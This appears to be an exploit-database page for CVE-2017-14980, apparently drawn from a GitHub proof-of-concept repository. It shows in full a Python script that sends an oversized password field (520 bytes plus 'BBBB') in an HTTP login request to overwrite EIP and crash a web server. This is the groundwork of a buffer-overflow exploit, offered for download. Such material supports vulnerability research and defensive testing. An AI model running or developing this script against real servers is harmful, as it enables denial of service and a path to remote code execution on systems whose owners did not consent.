Exploit database

GH-bb53382f8b506d0d42a6a8fcc5f73df0

themalwareguardian/cve-2017-14980

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2017-14980

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Vulnerability/Exploit/04Python3ControlEIP.py

Python · 1,182 bytes
#!/usr/bin/env python3
import socket

# Define the target server IP and Port
target_ip = '127.0.0.1'
target_port = 80

# Offset to EIP (520 bytes)
offset = 520

# 520 'A's followed by 'BBBB' to check EIP control
buffer = b'A' * offset + b'BBBB'

try:
	# Create a socket object and connect to the server
	print('Exploit> Connect to target')
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(5)
	s.connect((target_ip, target_port))

	# Build the HTTP POST request
	print(f'Exploit> Sending buffer to overwrite EIP')
	print(f'         Offset : {offset} bytes')
	print(f'         EIP    : BBBB (0x42424242)')
	body = b'username=admin&password=' + buffer
	request = (
		b'POST /login HTTP/1.1\r\n'
		b'Host: ' + target_ip.encode() + b'\r\n'
		b'Content-Type: application/x-www-form-urlencoded\r\n'
		b'Content-Length: ' + str(len(body)).encode() + b'\r\n'
		b'Connection: close\r\n'
		b'\r\n' +
		body
	)

	# Send the request
	s.send(request)

	# The server is expected to crash
	print('Exploit> The target server is expected to crash.')

except Exception as e:
	# Exception handling
	print(f'An error occurred: {str(e)}')

finally:
	# Close the connection
	s.close()